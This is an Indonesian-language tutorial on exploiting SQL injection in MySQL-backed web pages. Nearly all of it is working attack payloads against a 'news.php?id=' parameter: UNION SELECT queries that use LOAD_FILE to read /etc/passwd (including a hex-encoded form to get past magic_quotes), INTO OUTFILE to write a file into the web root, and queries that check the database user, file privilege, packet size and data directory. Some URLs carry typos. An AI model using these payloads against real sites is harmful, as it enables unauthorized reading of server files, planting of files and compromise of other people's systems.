Dalam tutorial ini saya
akan menjelaskan cara kerja sql injection dan bagaimana cara menggunakannya
LOAD_FILE mendapatkan beberapa informasi penting.
1. Introduction
Pertama-tama: Apakah SQL injection ? Pertanyaan ini mungkin sering muncul di
benak anda masing – masing, SQLi atau sering disebut SQL Injection ini
merupakan salah satu yang paling umum kerentanan dalam aplikasi web. Mengapa?
Dikarenakan hal ini memungkinkan penyerang menjalankan permintaan database di
url dan mendapatkan akses untuk beberapa informasi rahasia dll .. Okeh, mari
kita mulai saja.... :D
2. LOAD_FILE Merupakan
salah satu perintah query SQL untuk me-LOAD file yang terdapat pada server
secara remote.
code:
LOAD_FILE('path/data.php')
contoh:
http://www.target.com/news.php?id=-1 UNION SELECT 1,LOAD_FILE('etc/passwd'),3
from mysql.user—
terkadang fungsi dari
php.ini yakni magic_quotes menghalangi untuk memasukan directory, karena
karakter ' tidak di proses. maka untuk mengakalinya kita convert ke hexa.
contoh:
http://www,target.com/news.php?id=-1 UNION SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3
from mysql.user—
2.1. INTO OUTFILE merupakan perintah sql query
dimana dapat berguna untuk meng-UPLOAD suatu data atau file menuju path yang
telah kita tentukan ke server.
code: SELECT 'syntax'
INTO OUTFILE 'path/data.php'—
contoh:
http://www,target.com/news.php?id=-1
UNION SELECT 1,'',3 INTO OUTFILE
'/var/www/public_html/data.php'—
jika fungsi
magic_quotes pada website tersebut dalam keadaan 'on'. maka teknik ini tidak
akan bisa di gunakan.. karena INTO OUTFILE tidak suport untuk bilangan hexa.
3. HAL-HAL PENTING
Hal-hal penting yang perlu di ketahui diantaranya:
a)mendapatkan user dengan user :
root@localhost code : user()
contoh
: http://www,target.com/news.php?id=-1 UNION SELECT 1,user(),3—
b)mengecek file privelege, gunanya untuk
mengetahui apakah kita mempunyai privilege untuk merubah data di website
tersebut.
code
: file_priv from mysql.user—
contoh
:
http://www,target.com/news.php?id=-1
UNION SELECT 1,file_priv,3 from mysql.user—
jika
keluar huruf 'Y', maka kita memiliki hak akses, dan jika keluar huruf 'N', maka
kita tidak mempunyai hak akses.
c)mengecek ukuran file yang boleh di
upload
code
: @@max_allowed_packet
contoh
:
http://www,target.com/news.php?id=-1
UNION SELECT 1,@@max_allowed_packet,3—
semisal nilai yng muncul 1048576, nilai
tersebut itungannya byte dan BUKAN megabyte!!
d)menebak path yang writable untuk meng
upload file, untuk syntax cek path dari web tersebut
code
: @@datadir
contoh
: http://www,target.com/news.php?id=-1 UNION SELECT 1,2,@@datadir,3--
catatan :
terkadang fungsi ini tidak bisa atau di nonaktifkan, maka gunkanlah cara dasar
LOAD_FILE ;)